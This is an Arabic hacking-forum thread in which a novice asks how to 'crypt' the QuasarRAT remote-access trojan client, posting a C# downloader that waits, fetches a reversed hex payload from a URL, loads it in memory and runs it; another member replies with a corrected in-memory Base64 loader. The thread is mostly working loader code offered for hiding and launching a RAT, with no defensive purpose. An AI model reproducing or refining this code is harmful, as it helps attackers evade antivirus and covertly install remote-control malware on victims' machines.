مشكلة عند محاولة تشفير QuasarRAT-master


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

New1

:: عضو جديد ::
14 مايو 2019
1
1
0
سلام عليكم اخواني انا اسف اول موضع يكون طلب من الاعضاء
انا جديد في عالم البرماجه والاخطراق
لقد قمة بتابع دروس اخي بشار في التشفير وتعلم البرمجه حتي OOP C Sharp
كونت اجرب تشفير كلينت QuasarRAT
وضهرات معي مشكله في EntryPoint
حاولة انا امرر parameteres علي هذا الشكل​
C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Reflection;
using System.Threading;


namespace Downloders
{
    public static class Program
    {
        public static void Main()
        {

            Thread.Sleep(30000);


            var wc = new WebClient();

            var s = wc.DownloadString("http://");
            string[] parameteres = new string[1];
            Assembly.Load(HexStrToByteArray(ReverseString(s))).EntryPoint.Invoke(null, parameteres); ;
         
        }
     


        public static byte[] HexStrToByteArray(string str)
        {
            var hexindex = new Dictionary<string, byte>();

            for (var i = 0; i <= 255; i++)
                hexindex.Add(i.ToString("X2"), Convert.ToByte(i));

            var hexres = new List<byte>();

            for (var i = 0; i <= str.Length - 1; i += 2)
                hexres.Add(hexindex[str.Substring(i, 2)]);

            return hexres.ToArray();
        }

        public static string ReverseString(string s)
        {
            var arr = s.ToCharArray();
            Array.Reverse(arr);
            return new string(arr);
        }
    }
}
لكن تظهر معي مشكلة في الكود
وجربة ايضاا بهذا الشكل
C#:
            Assembly.Load(HexStrToByteArray(ReverseString(s))).EntryPoint.Invoke(null, new object[] { new string[] { null } }); ;
نفس المشكلة في نقطة الادخال ارجو احد من الاخوه يوضح الي الخطاء لو تكرماا فضلا منكم انا تدلني علي باقي الطريق حتي احترف #C
 

Abdellatif Amer

:: عضو جديد ::
14 مايو 2019
3
0
0
السلام عليكم اخي انا اىضا مثلك ، احاول مرارا و تكرارا ان اشفر كلاينت .... ولكنني افشل
 

NYAN CAT

ᴄᴀғғᴇɪɴᴇ ᴅᴇᴘᴇɴᴅᴇɴᴄᴇ
8 يناير 2019
509
1,316
Kuwait
github.com
0
نفس المشكلة
من باب التأكد.. جرب فقط أن تعمل تحويل للكلاينت Base64 مع فريم ورك 4.0 ... حول الكلاينت وعوضه في الكود بالأسفل.. مجرد نقطة ادخال عاديه مع ثريد آخر


C#:
            new Thread(() =>
            {
                try
                {
                    Assembly asm = AppDomain.CurrentDomain.Load(Convert.FromBase64String("BASE64"));
                    MethodInfo Metinf = asm.EntryPoint;
                    object InjObj = asm.CreateInstance(Metinf.Name);
                    object[] parameters = new object[1];
                    if (Metinf.GetParameters().Length == 0)
                    {
                        parameters = null;
                    }
                    Metinf.Invoke(InjObj, parameters);
                }
                catch { }
            })
            { IsBackground = false }.Start();
 
  • أعجبني
التفاعلات: BasharBachir